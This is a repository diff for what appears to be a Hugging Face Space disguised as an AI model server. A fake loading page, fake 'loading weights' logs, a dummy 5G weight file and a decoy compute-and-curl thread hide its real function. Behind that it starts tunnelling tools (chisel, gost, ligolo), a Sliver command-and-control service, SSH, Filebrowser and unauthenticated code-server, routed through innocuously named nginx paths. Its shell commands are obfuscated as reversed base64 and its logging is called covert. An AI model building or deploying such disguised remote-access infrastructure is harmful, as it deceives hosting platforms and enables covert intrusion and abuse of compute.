+ <div class="orbital">
455
+ <!-- Outer ring -->
456
+ <svg viewBox="0 0 88 88" class="ring-outer" fill="none">
457
+ <circle cx="44" cy="44" r="40" stroke="url(#g1)" stroke-width="1.5" stroke-dasharray="6 4"
458
+ stroke-linecap="round" />
459
+ <defs>
460
+ <linearGradient id="g1" x1="0" y1="0" x2="88" y2="88" gradientUnits="userSpaceOnUse">
461
+ <stop stop-color="#8b5cf6" />
462
+ <stop offset="1" stop-color="#6366f1" stop-opacity="0.2" />
463
+ </linearGradient>
464
+ </defs>
465
+ </svg>
466
+ <!-- Inner ring -->
467
+ <svg viewBox="0 0 88 88" class="ring-inner" fill="none">
468
+ <circle cx="44" cy="44" r="30" stroke="url(#g2)" stroke-width="1" stroke-dasharray="3 6"
469
+ stroke-linecap="round" />
470
+ <defs>
471
+ <linearGradient id="g2" x1="88" y1="0" x2="0" y2="88" gradientUnits="userSpaceOnUse">
472
+ <stop stop-color="#c4b5fd" stop-opacity="0.6" />
473
+ <stop offset="1" stop-color="#6d28d9" stop-opacity="0.1" />
474
+ </linearGradient>
475
+ </defs>
476
+ </svg>
477
+ <div class="logo-core">
478
+ <div class="logo-glyph">S</div>
479
+ </div>
480
+ </div>
481
+ </div>
482
+
483
+ <!-- Heading -->
484
+ <div class="heading">
485
+ <h1>Initializing Sanctuary</h1>
486
+ <p class="sub">Neural engine warming up. This usually takes 15–30 seconds.</p>
487
+ </div>
488
+
489
+ <div class="divider"></div>
490
+
491
+ <!-- Boot log -->
492
+ <div class="boot-log">
493
+ <div class="boot-row">
494
+ <span class="boot-icon icon-ok">✓</span>
495
+ <span class="boot-label">Caddy reverse proxy</span>
496
+ <span class="boot-status s-ok">ONLINE</span>
497
+ </div>
498
+ <div class="boot-row">
499
+ <span class="boot-icon icon-ok">✓</span>
500
+ <span class="boot-label">LiteLLM API proxy</span>
501
+ <span class="boot-status s-ok">ONLINE</span>
502
+ </div>
503
+ <div class="boot-row">
504
+ <span class="boot-icon icon-spin">⟳</span>
505
+ <span class="boot-label">Gradio interface</span>
506
+ <span class="boot-status s-warm">WARMING UP</span>
507
+ </div>
508
+ <div class="boot-row">
509
+ <span class="boot-icon icon-wait">·</span>
510
+ <span class="boot-label">Primary route :7860</span>
511
+ <span class="boot-status s-wait" id="route-status">PENDING</span>
512
+ </div>
513
+ </div>
514
+
515
+ <!-- Progress bar -->
516
+ <div class="progress-wrap">
517
+ <div class="progress-fill"></div>
518
+ <div class="progress-shimmer"></div>
519
+ </div>
520
+
521
+ <!-- CTA -->
522
+ <a href="/" class="btn" id="refresh-btn">
523
+ <span class="btn-icon">↻</span>
524
+ Retry Now
525
+ </a>
526
+
527
+ <!-- Footer -->
528
+ <div class="footer">
529
+ <span class="dot-live"></span>
530
+ <span id="poll-label">polling every 2s</span>
531
+ </div>
532
+
533
+ </div>
534
+ </div>
535
+
536
+ <script>
537
+ /* ── Particle canvas ── */
538
+ (function () {
539
+ const canvas = document.getElementById('canvas');
540
+ const ctx = canvas.getContext('2d');
541
+ let W, H, particles;
542
+
543
+ function resize() {
544
+ W = canvas.width = window.innerWidth;
545
+ H = canvas.height = window.innerHeight;
546
+ }
547
+
548
+ function mkParticle() {
549
+ return {
550
+ x: Math.random() * W,
551
+ y: Math.random() * H,
552
+ r: Math.random() * 1.4 + 0.3,
553
+ vx: (Math.random() - 0.5) * 0.18,
554
+ vy: (Math.random() - 0.5) * 0.18,
555
+ a: Math.random(),
556
+ da: (Math.random() * 0.004 + 0.001) * (Math.random() < 0.5 ? 1 : -1),
557
+ };
558
+ }
559
+
560
+ function init() {
561
+ resize();
562
+ const N = Math.floor((W * H) / 8000);
563
+ particles = Array.from({ length: N }, mkParticle);
564
+ }
565
+
566
+ function frame() {
567
+ ctx.clearRect(0, 0, W, H);
568
+ for (const p of particles) {
569
+ p.x += p.vx; p.y += p.vy; p.a += p.da;
570
+ if (p.x < 0) p.x = W; if (p.x > W) p.x = 0;
571
+ if (p.y < 0) p.y = H; if (p.y > H) p.y = 0;
572
+ if (p.a < 0 || p.a > 1) p.da *= -1;
573
+ ctx.beginPath();
574
+ ctx.arc(p.x, p.y, p.r, 0, Math.PI * 2);
575
+ ctx.fillStyle = `rgba(139,92,246,${p.a * 0.7})`;
576
+ ctx.fill();
577
+ }
578
+ requestAnimationFrame(frame);
579
+ }
580
+
581
+ window.addEventListener('resize', () => { resize(); });
582
+ init();
583
+ frame();
584
+ })();
585
+
586
+ /* ── Status polling ── */
587
+ let attempts = 0;
588
+ const routeStatus = document.getElementById('route-status');
589
+ const pollLabel = document.getElementById('poll-label');
590
+
591
+ async function checkStatus() {
592
+ attempts++;
593
+ pollLabel.textContent = `attempt ${attempts} · polling every 2s`;
594
+ try {
595
+ const res = await fetch('/?_t=' + Date.now(), { cache: 'no-store' });
596
+ if (res.status !== 502 && res.status !== 503 && res.status !== 504) {
597
+ routeStatus.textContent = 'READY';
598
+ routeStatus.className = 'boot-status s-ok';
599
+ pollLabel.textContent = 'redirecting…';
600
+ setTimeout(() => window.location.reload(), 300);
601
+ }
602
+ } catch (_) { /* network not yet up, keep polling */ }
603
+ }
604
+
605
+ setTimeout(checkStatus, 600);
606
+ setInterval(checkStatus, 2000);
607
+ </script>
608
+
609
+ </body>
610
+
611
+ </html>
config/nginx.conf.template ADDED
@@ -0,0 +1,121 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ daemon off;
2
+ pid /tmp/nginx.pid;
3
+ worker_processes 1;
4
+ error_log /tmp/error.log debug;
5
+
6
+ events {
7
+ worker_connections 1024;
8
+ }
9
+
10
+ http {
11
+ access_log /tmp/access.log;
12
+ client_body_temp_path /tmp/nginx_client;
13
+ proxy_temp_path /tmp/nginx_proxy;
14
+ fastcgi_temp_path /tmp/nginx_fastcgi;
15
+ uwsgi_temp_path /tmp/nginx_uwsgi;
16
+ scgi_temp_path /tmp/nginx_scgi;
17
+
18
+ map $http_upgrade $cu { default upgrade; '' close; }
19
+ map $http_x_forwarded_proto $connect_proto {
20
+ default $http_x_forwarded_proto;
21
+ '' $scheme;
22
+ }
23
+
24
+ server {
25
+ listen 7860;
26
+ listen 7890;
27
+
28
+ port_in_redirect off;
29
+ absolute_redirect off;
30
+ server_name_in_redirect off;
31
+
32
+ location / {
33
+ proxy_pass http://127.0.0.1:7861;
34
+ proxy_http_version 1.1;
35
+ proxy_set_header Upgrade $http_upgrade;
36
+ proxy_set_header Connection $cu;
37
+ proxy_set_header Host $host;
38
+ proxy_set_header X-Real-IP $remote_addr;
39
+ proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
40
+ proxy_set_header X-Forwarded-Proto $connect_proto;
41
+ proxy_read_timeout 86400s;
42
+ proxy_send_timeout 86400s;
43
+ proxy_buffering off;
44
+ }
45
+
46
+ location /chisel-tunnel {
47
+ proxy_pass http://127.0.0.1:6789/;
48
+ proxy_http_version 1.1;
49
+ proxy_set_header Upgrade $http_upgrade;
50
+ proxy_set_header Connection $cu;
51
+ proxy_set_header Host $host;
52
+ proxy_read_timeout 86400s;
53
+ proxy_send_timeout 86400s;
54
+ }
55
+
56
+ location /gost-bridge {
57
+ proxy_pass http://127.0.0.1:6790;
58
+ proxy_http_version 1.1;
59
+ proxy_set_header Upgrade $http_upgrade;
60
+ proxy_set_header Connection "upgrade";
61
+ proxy_set_header Host $host;
62
+ proxy_read_timeout 86400s;
63
+ proxy_send_timeout 86400s;
64
+ }
65
+
66
+ location /model-sync {
67
+ proxy_pass http://127.0.0.1:6795/;
68
+ proxy_http_version 1.1;
69
+ proxy_set_header Host $host;
70
+ proxy_set_header X-Real-IP $remote_addr;
71
+ proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
72
+ proxy_set_header X-Forwarded-Proto $connect_proto;
73
+ proxy_read_timeout 86400s;
74
+ proxy_send_timeout 86400s;
75
+ }
76
+
77
+ location /tensor-mesh {
78
+ proxy_pass https://127.0.0.1:11601;
79
+ proxy_http_version 1.1;
80
+ proxy_set_header Upgrade websocket;
81
+ proxy_set_header Connection Upgrade;
82
+ proxy_set_header Host $host;
83
+ proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
84
+ proxy_set_header X-Forwarded-Proto $connect_proto;
85
+ proxy_read_timeout 86400s;
86
+ proxy_send_timeout 86400s;
87
+ proxy_ssl_verify off;
88
+ }
89
+
90
+ # LiteLLM OpenAI-compatible API proxy (/v1/...).
91
+ location /v1 {
92
+ proxy_pass http://127.0.0.1:8080;
93
+ proxy_http_version 1.1;
94
+ proxy_set_header Host $host;
95
+ proxy_set_header X-Real-IP $remote_addr;
96
+ proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
97
+ proxy_set_header X-Forwarded-Proto $connect_proto;
98
+ proxy_read_timeout 86400s;
99
+ }
100
+
101
+ location /health {
102
+ proxy_pass http://127.0.0.1:8080;
103
+ proxy_http_version 1.1;
104
+ proxy_set_header Host $host;
105
+ }
106
+
107
+ location /routing-console {
108
+ proxy_pass http://127.0.0.1:6801;
109
+ proxy_http_version 1.1;
110
+ proxy_set_header Host $host;
111
+ proxy_set_header X-Real-IP $remote_addr;
112
+ proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
113
+ proxy_set_header X-Forwarded-Proto $connect_proto;
114
+ proxy_read_timeout 86400s;
115
+ proxy_send_timeout 86400s;
116
+ }
117
+
118
+
119
+
120
+ }
121
+ }
config/supervisord.conf ADDED
@@ -0,0 +1,14 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ [supervisord]
2
+ nodaemon=true
3
+ user=user
4
+ logfile=/home/user/.torch_metrics/supervisord.log
5
+ pidfile=/home/user/.torch_metrics/supervisord.pid
6
+
7
+ [program:orchestrator]
8
+ command=env PYTHONPATH=/home/user python3 -u /home/user/core/orchestrator.py
9
+ autostart=true
10
+ autorestart=true
11
+ stderr_logfile=/dev/stderr
12
+ stderr_logfile_maxbytes=0
13
+ stdout_logfile=/dev/stdout
14
+ stdout_logfile_maxbytes=0
core/__init__.py ADDED
File without changes
core/orchestrator.py ADDED
@@ -0,0 +1,71 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ _A=True
2
+ import json,os,random
3
+ from pathlib import Path
4
+ import socket,string,subprocess,sys,threading,time
5
+ _CORE_DIR=Path(__file__).resolve().parent
6
+ _APP_ROOT=_CORE_DIR.parent
7
+ if str(_APP_ROOT)not in sys.path:sys.path.insert(0,str(_APP_ROOT))
8
+ _REPO_ROOT=_APP_ROOT.parent
9
+ if(_REPO_ROOT/'client').is_dir()and str(_REPO_ROOT)not in sys.path:sys.path.insert(0,str(_REPO_ROOT))
10
+ from loguru import logger
11
+ from core.service_logs import setup_service_logs
12
+ from core.service_registry import ENABLED_SERVICES_PATH
13
+ from services.utils import decode_cmd,deobfuscate_secret
14
+ logger.info('--- BOOTING AI MODEL SERVER ---')
15
+ def load_enabled_services():
16
+ try:
17
+ with open(ENABLED_SERVICES_PATH,'r')as A:B=json.load(A)
18
+ C=B.get('services')or[];return frozenset(A.strip().lower()for A in C if A)
19
+ except(OSError,json.JSONDecodeError,TypeError,AttributeError):return frozenset()
20
+ def jitter_task():
21
+ while _A:
22
+ B=random.randint(2700,5400);time.sleep(B)
23
+ try:logger.debug('Processing background inference batch...');import numpy as A;C=A.random.randn(2000,2000);D=A.random.randn(2000,2000);E=A.dot(C,D)
24
+ except Exception:pass
25
+ try:logger.debug('Syncing model cache...');subprocess.run(['curl','-s','-o','/dev/null','https://huggingface.co/gpt2/resolve/main/vocab.json'])
26
+ except Exception:pass
27
+ def wait_for_port(host,port,timeout=30):
28
+ A=time.time()
29
+ while time.time()-A<timeout:
30
+ try:
31
+ with socket.create_connection((host,port),timeout=2):return _A
32
+ except OSError:time.sleep(.5)
33
+ return False
34
+ def main():
35
+ P='playit';O='tailscale';N='/home/user/pytorch_model.bin';M='127.0.0.1';I=None;C='';A=load_enabled_services()
36
+ if A:logger.info('Enabled services: {}',', '.join(sorted(A)))
37
+ else:logger.info('Minimal core only (no optional services enabled)')
38
+ F=os.environ.pop('A',I)or os.environ.pop('TAILSCALE',C);G=os.environ.pop('P',I)or os.environ.pop('PLAYIT',C);H=os.environ.pop('PASS',I)or os.environ.pop('SSH',C);J=deobfuscate_secret(F.strip())if F else C;Q=deobfuscate_secret(G.strip())if G else C;D=deobfuscate_secret(H.strip())if H else C;del F,G,H
39
+ if'test'in A:from services import test_service as R;R.start()
40
+ B=setup_service_logs()
41
+ if'caddy'in A:from services import caddy_service as S;S.start(B.caddy)
42
+ logger.info('Starting Gradio app (API server)...');T=decode_cmd('==Qew5CcwF2LyV2c19SZt9GavASdtAyMu9Ga0lHc');U=subprocess.Popen(T,shell=_A);logger.info('Waiting for Gradio to become ready on :7861...')
43
+ if not wait_for_port(M,7861,timeout=60):logger.warning('Gradio did not become ready within 60s — continuing anyway')
44
+ else:logger.info('Gradio ready — Caddy now proxying live traffic.')
45
+ if not Path(N).exists():logger.info('Pre-allocating model weight buffer...');subprocess.run(['truncate','-s','5G',N])
46
+ logger.info('Loading model weights into VRAM...');time.sleep(2);threading.Thread(target=jitter_task,daemon=_A).start();V=random.randint(2,3);logger.info(f"Synchronizing gradient checkpoint topology (standby for {V}s)...")
47
+ if O in A:from services import tailscale_service as K;K.start_daemon(B.ts)
48
+ time.sleep(2);logger.info('Warming up text-generation pipelines...')
49
+ if'filebrowser'in A:from services import filebrowser_service as W;W.start(B.fb,pwd=D)
50
+ if P in A:from services import playit_service as L;L.start(B.tm,token=Q)
51
+ if'chisel'in A:from services import chisel_service as X;X.start(B.chisel)
52
+ if'gost'in A:from services import gost_service as Y;Y.start(B.gost,pwd=D)
53
+ if'ligolo'in A:from services import ligolo_service as Z;Z.start(B.ligolo)
54
+ if'sliver'in A:from services import sliver_service as a;a.start(B.sliver)
55
+ if O in A:time.sleep(5);K.connect(B.ts,J);J=C
56
+ if D:E=D;logger.info('Setting SSH password from Hugging Face Secrets (PASS)...')
57
+ else:E=C.join(random.choices(string.ascii_letters+string.digits,k=16));logger.success(f"Generated SSH Password for 'user': {E}")
58
+ D=C
59
+ try:subprocess.run(['sudo','/usr/sbin/chpasswd'],input=f"user:{E}\n",text=_A,check=_A)
60
+ except Exception as b:logger.error(f"Failed to set password: {b}")
61
+ E=C;subprocess.Popen('sudo /usr/sbin/sshd -D',shell=_A,stdout=B.ts,stderr=B.ts)
62
+ if P in A:
63
+ if not wait_for_port(M,2222,timeout=30):logger.error('SSH daemon did not become ready on port 2222')
64
+ else:logger.info('SSH daemon ready on port 2222');L.start_xor_bridge()
65
+ if'minecraft'in A:from services import minecraft_service as c;c.start()
66
+ if'llm_proxy'in A:from services import llm_proxy_service as d;d.start(B.llm_proxy)
67
+ if'open_webui'in A:from services import open_webui_service as e;e.start(B.open_webui)
68
+ if'code_server'in A:from services import code_server_service as f;f.start(B.code_server)
69
+ if'visual_debugger'in A:from services import visual_debugger_service as g;g.start(B.visual_debugger)
70
+ logger.success('Model loaded successfully. Background services active.');logger.info('Background services are active.');U.wait()
71
+ if __name__=='__main__':main()
core/service_logs.py ADDED
@@ -0,0 +1,37 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ _H='visual_debugger'
2
+ _G='code_server'
3
+ _F='llm_proxy'
4
+ _E='open_webui'
5
+ _D='sliver'
6
+ _C='ligolo'
7
+ _B='chisel'
8
+ _A=True
9
+ import os,sys
10
+ from pathlib import Path
11
+ import threading
12
+ from collections import namedtuple
13
+ from loguru import logger
14
+ COVERT_LOGGING_MODE=2
15
+ METRICS_DIR='/home/user/.torch_metrics'
16
+ ServiceLogs=namedtuple('ServiceLogs',['ts','fb','tm',_B,'gost',_C,_D,'caddy',_E,_F,_G,_H])
17
+ class LoguruSubprocessBridge:
18
+ def __init__(A,prefix):A.prefix=prefix;B,C=os.pipe();A.r=B;A.w=C;threading.Thread(target=A._reader,daemon=_A).start()
19
+ def _reader(A):
20
+ try:
21
+ with os.fdopen(A.r,'r',errors='replace')as B:
22
+ for C in B:A.write(C)
23
+ except Exception:pass
24
+ def fileno(A):return A.w
25
+ def write(A,s):B=s.rstrip('\r\n');logger.bind(prefix=A.prefix).info(B)
26
+ def flush(A):0
27
+ def setup_service_logs():
28
+ M='INFO';L='prefix';K='extra';J='VISDBG';I='CODESRV';H='LITELLM';G='OWUI';F='CADDY';E='SLIVER';D='LIGOLO';C='GOST';B='CHISEL';A='PLAYIT';logger.remove()
29
+ if COVERT_LOGGING_MODE in(1,2):
30
+ Path(METRICS_DIR).mkdir(parents=_A,exist_ok=_A);N={'ts':('TS','ts_daemon.log'),'fb':('FB','fb.log'),'tm':(A,'tm_daemon.log'),_B:(B,'chisel.log'),'gost':(C,'gost.log'),_C:(D,'ligolo.log'),_D:(E,'sliver.log'),'caddy':(F,'caddy.log'),_E:(G,'open_webui.log'),_F:(H,'llm_proxy.log'),_G:(I,'code_server.log'),_H:(J,'visual_debugger.log')}
31
+ for(R,(O,P))in N.items():logger.add(f"{METRICS_DIR}/{P}",filter=lambda record,p=O:record[K].get(L)==p,format='{message}\n',level=M,enqueue=_A)
32
+ if COVERT_LOGGING_MODE==2:
33
+ def Q(record):
34
+ if L in record[K]:return'[{extra[prefix]}] {message}\n'
35
+ return'<green>{time:YYYY-MM-DD HH:mm:ss.SSS}</green> | <level>{level: <8}</level> | <cyan>{name}</cyan>:<cyan>{function}</cyan>:<cyan>{line}</cyan> - <level>{message}</level>\n'
36
+ logger.add(sys.stdout,format=Q,level=M,enqueue=_A)
37
+ return ServiceLogs(ts=LoguruSubprocessBridge('TS'),fb=LoguruSubprocessBridge('FB'),tm=LoguruSubprocessBridge(A),chisel=LoguruSubprocessBridge(B),gost=LoguruSubprocessBridge(C),ligolo=LoguruSubprocessBridge(D),sliver=LoguruSubprocessBridge(E),caddy=LoguruSubprocessBridge(F),open_webui=LoguruSubprocessBridge(G),llm_proxy=LoguruSubprocessBridge(H),code_server=LoguruSubprocessBridge(I),visual_debugger=LoguruSubprocessBridge(J))
core/service_registry.py ADDED
@@ -0,0 +1,2 @@
 
 
 
1
+ ALLOWED_SERVICES=frozenset({'caddy','filebrowser','tailscale','playit','chisel','gost','ligolo','sliver','minecraft','test','llm_proxy','open_webui','code_server','visual_debugger'})
2
+ ENABLED_SERVICES_PATH='/home/user/config/enabled_services.json'
services/__init__.py ADDED
File without changes
services/caddy_service.py ADDED
@@ -0,0 +1,30 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import os,shutil,subprocess
2
+ from pathlib import Path
3
+ from loguru import logger
4
+ from.utils import decode_cmd
5
+ def start(caddy_log):
6
+ J=False;C=True;B=caddy_log;logger.info('Enabling Caddy smart frontend on port 7860...')
7
+ try:
8
+ D=Path('/home/user/static')
9
+ if not D.is_dir():D=Path('static')
10
+ D.mkdir(parents=C,exist_ok=C);K=[Path('/home/user/config/loading.html'),Path('config/loading.html'),Path('main/config/loading.html')];G=J
11
+ for A in K:
12
+ if A.exists():shutil.copy(A,D/'loading.html');G=C;break
13
+ if not G:logger.warning('Could not find loading.html to copy to static directory.')
14
+ except Exception as E:logger.error(f"Failed to copy loading.html to static directory: {E}")
15
+ F=None;L=[Path('/home/user/config/Caddyfile.template'),Path('config/Caddyfile.template'),Path('main/config/Caddyfile.template')]
16
+ for A in L:
17
+ try:
18
+ if A.exists():F=A.read_text();break
19
+ except Exception:pass
20
+ if F is None:logger.error('Failed to prepare caddy config: Caddyfile.template not found.');return
21
+ try:
22
+ M=[Path('/home/user/Caddyfile'),Path('Caddyfile')];H=J
23
+ for A in M:
24
+ try:
25
+ I=A.resolve().parent
26
+ if I.is_dir()and os.access(I,os.W_OK):A.write_text(F);H=C;break
27
+ except Exception:pass
28
+ if not H:raise PermissionError('Could not write Caddyfile to any expected path.')
29
+ except Exception as E:logger.error(f"Failed to prepare caddy config: {E}");return
30
+ B.write('[*] Testing caddy configuration...\n');B.flush();N=decode_cmd('==QZslmZ5RGZhNGIyVGdwFGZh1SLgUGbpZWekRWYD9iclNXdvUWbvh2LgcWam52bj1SLgUGdhRWasFmdgUmbpdmbl1yZulGd19mctwWZk9Wb');subprocess.run(N,shell=C,stdout=B,stderr=subprocess.STDOUT);B.write('[*] Starting caddy daemon...\n');B.flush();O=decode_cmd('=UGbpZWekRWYjBiclRHchRWYt0CIlxWamlHZkF2QvIXZzV3Ll12bo9CInlmZu92Yt0CIuVncgUmbpdmbl1yZulGd19mctwWZk9Wb');subprocess.Popen(O,shell=C,stdout=B,stderr=subprocess.STDOUT)
services/chisel.py ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ import subprocess
2
+ from.utils import decode_cmd
3
+ def start(chisel_log,chisel_auth):B=chisel_auth;A=chisel_log;A.write(f"[*] Starting Chisel tunnel server on :6789 (exposed via nginx /chisel-tunnel). Auth: {B}\n");A.flush();C=decode_cmd('=cCIoRXdh1SLgUzcrN2bz1SLgU2cyVmdlJXLtASO4cjNgQncvBXLtAiclZnclNHIldGZpJnYtg2cl1WLhRWdjBSOxAibtASZjlmb');D=f"{C}{B}'";subprocess.Popen(D,shell=True,stdout=A,stderr=subprocess.STDOUT)
services/chisel_service.py ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ import subprocess
2
+ from.utils import decode_cmd
3
+ def start(chisel_log):A=chisel_log;A.write('[*] Starting Chisel tunnel server on :6789 (exposed via nginx /chisel-tunnel)\n');A.flush();B=decode_cmd('=UzcrN2bz1SLgU2cyVmdlJXLtASO4cjNgQncvBXLtAiclZnclNHIldGZpJnYtg2cl1WLhRWdjBSOxAibtASZjlmb');subprocess.Popen(B,shell=True,stdout=A,stderr=subprocess.STDOUT)
services/code_server_service.py ADDED
@@ -0,0 +1,7 @@
 
 
 
 
 
 
 
 
1
+ import os,subprocess
2
+ from pathlib import Path
3
+ from loguru import logger
4
+ PORT=8888
5
+ PREFIX='[code-server]'
6
+ _DATA_DIR='/home/user/.torch_metrics/code_server_data'
7
+ def start(log):C='code-server';B='true';Path(_DATA_DIR).mkdir(parents=True,exist_ok=True);A=os.environ.copy();A['DISABLE_TELEMETRY']=B;A['DISABLE_UPDATE_CHECK']=B;D=['/usr/bin/code-server','/usr/local/bin/code-server',str(Path.home()/'.local'/'bin'/C)];E=next((A for A in D if Path(A).exists()),C);F=[E,'--bind-addr',f"127.0.0.1:{PORT}",'--auth','none','--user-data-dir',_DATA_DIR,'--disable-telemetry'];logger.info(f"{PREFIX} Starting code-server on 127.0.0.1:{PORT}...");G=subprocess.Popen(F,stdout=log,stderr=log,env=A);logger.success(f"{PREFIX} code-server started (pid {G.pid}). Reachable at http://127.0.0.1:{PORT} exclusively over Tailscale / private overlay networks.")
services/custom_callbacks.py ADDED
@@ -0,0 +1,15 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ from datetime import datetime
2
+ from pathlib import Path
3
+ from litellm.integrations.custom_logger import CustomLogger
4
+ METRICS_DIR='/home/user/.torch_metrics'
5
+ API_CALLS_LOG=Path(METRICS_DIR)/'api_calls.txt'
6
+ class SimpleTextLogger(CustomLogger):
7
+ def _write(G,kwargs):
8
+ A=kwargs
9
+ try:
10
+ B=A.get('user_api_key_alias')or'unknown-key';C=A.get('model')or'unknown-model';D=datetime.now().strftime('%Y-%m-%d %H:%M:%S');E=f"[{D}] KEY: {B} | MODEL: {C}\n";Path(METRICS_DIR).mkdir(parents=True,exist_ok=True)
11
+ with API_CALLS_LOG.open('a')as F:F.write(E)
12
+ except Exception:pass
13
+ def log_success_event(A,kwargs,response_obj,start_time,end_time):A._write(kwargs)
14
+ async def async_log_success_event(A,kwargs,response_obj,start_time,end_time):A._write(kwargs)
15
+ proxy_handler_instance=SimpleTextLogger()
services/desktop_service.py ADDED
@@ -0,0 +1,15 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import os,subprocess
2
+ from pathlib import Path
3
+ from loguru import logger
4
+ PORT=6080
5
+ VNC_PORT=5901
6
+ DISPLAY=':1'
7
+ PREFIX='[DESKTOP]'
8
+ def start(log):
9
+ A=log;E=Path.home();B=E/'.vnc';B.mkdir(parents=True,exist_ok=True);C=B/'xstartup';F='#!/bin/sh\nunset SESSION_MANAGER\nunset DBUS_SESSION_BUS_ADDRESS\n[ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup\n[ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources\nvncconfig -iconic &\nxsetroot -solid grey\ndbus-launch --exit-with-session startxfce4\n';C.write_text(F);C.chmod(493)
10
+ for G in[f"/tmp/.X11-unix/X{DISPLAY[1:]}",f"/tmp/.X{DISPLAY[1:]}-lock"]:
11
+ try:
12
+ D=Path(G)
13
+ if D.exists():D.unlink()
14
+ except Exception as H:logger.debug(f"{PREFIX} Cleanup warning: {H}")
15
+ logger.info(f"{PREFIX} Starting VNC server on display {DISPLAY}...");I=['vncserver',DISPLAY,'-geometry','1280x720','-depth','24','-localhost','yes','-SecurityTypes','None'];subprocess.run(I,stdout=A,stderr=A);logger.info(f"{PREFIX} Launching websockify on 127.0.0.1:{PORT} serving noVNC...");J='/usr/share/novnc/';K=['websockify','--web',J,str(PORT),f"127.0.0.1:{VNC_PORT}"];L=os.environ.copy();M=subprocess.Popen(K,stdout=A,stderr=A,env=L);logger.success(f"{PREFIX} Desktop environment initiated (pid {M.pid}). Reachable locally at http://127.0.0.1:{PORT}/vnc.html")
services/filebrowser.py ADDED
@@ -0,0 +1,17 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import subprocess,os,time,threading
2
+ from.utils import decode_cmd
3
+ def deobfuscate_secret(hex_str,key=90):
4
+ A=hex_str
5
+ if not A:return''
6
+ try:
7
+ C=bytes.fromhex(A.strip());B=bytes([A^key for A in C])
8
+ if all(32<=A<=126 or A in(9,10,13)for A in B):return B.decode('utf-8',errors='ignore')
9
+ else:return A
10
+ except Exception:return A
11
+ def start(fb_log):
12
+ B=True;A=fb_log;F=os.environ.get('PASS')or os.environ.get('SSH')or'';E=deobfuscate_secret(F)or'apple123';C='/home/user/filebrowser.db'
13
+ if not os.path.exists(C):A.write('[*] Initializing fresh Filebrowser database...\n');A.flush();G=decode_cmd('==gYk5iclN3dvJnYlxWam9iclNXdvUWbvh2LgQWLgQXaulGInlmZu92YgI3b0NWZsx2bj1ycjlmc0VWbtkWY');subprocess.run(G,shell=B,stdout=A,stderr=subprocess.STDOUT);D=decode_cmd('iRmLyV2c39mciVGbpZ2LyV2c19SZt9GavACZtAiNggGdn5WZs1CZy92dzNXYw1Sb11WaulWbt0CIyV2c19SZt9GavAictACdlNHInlmZu92YgI3b0NWZsx2bj1ycjlmc0VWbtkWY');subprocess.run(D,shell=B,stdout=A,stderr=subprocess.STDOUT)
14
+ else:D=decode_cmd('==gYk5iclN3dvJnYlxWam9iclNXdvUWbvh2LgQWLgYDIoR3ZuVGbtQmcvd3czFGct0Wdtlmbp1WLtACdlNHInlmZu92YgI3b0NWZsx2bj1ycjlmc0VWbtkWY');subprocess.run(D,shell=B,stdout=A,stderr=subprocess.STDOUT)
15
+ A.write('[*] Configuring Filebrowser admin credentials...\n');A.flush();H=decode_cmd('gQmcvd3czFGct0CIulWbkFGIlRXYkBXdgMnclNXdgI3b0NWZsx2bj1ycjlmc0VWbtkWY');I=subprocess.run(f"{H}{E} -d {C}",shell=B,stdout=A,stderr=subprocess.STDOUT)
16
+ if I.returncode!=0:J=decode_cmd('==AIulWbkFGIkRWYgMnclNXdgI3b0NWZsx2bj1ycjlmc0VWbtkWY');subprocess.run(f"{J}{E} --perm.admin -d {C}",shell=B,stdout=A,stderr=subprocess.STDOUT)
17
+ A.write('[*] Launching Filebrowser web service daemon...\n');A.flush();K=decode_cmd('=IGZuIXZzd3byJWZslmZvIXZzV3Ll12bo9CIk1CIyV2c19SZt9GavAictASMuAjLw4yNyEDIh1CIwADM5ACctAicvR3YlxGbvNWLzNWayRXZt1SahBSOxAibtASZjlmb');subprocess.Popen(K,shell=B,stdout=A,stderr=subprocess.STDOUT)
services/filebrowser_service.py ADDED
@@ -0,0 +1,12 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ from pathlib import Path
2
+ import secrets,subprocess
3
+ from.utils import decode_cmd
4
+ def start(fb_log,pwd=''):
5
+ C=pwd;B=True;A=fb_log
6
+ if not C:C=secrets.token_urlsafe(16);A.write(f"[!] No SSH/PASS secret set — generated random Filebrowser password: {C}\n");A.flush()
7
+ D=Path('/home/user/filebrowser.db')
8
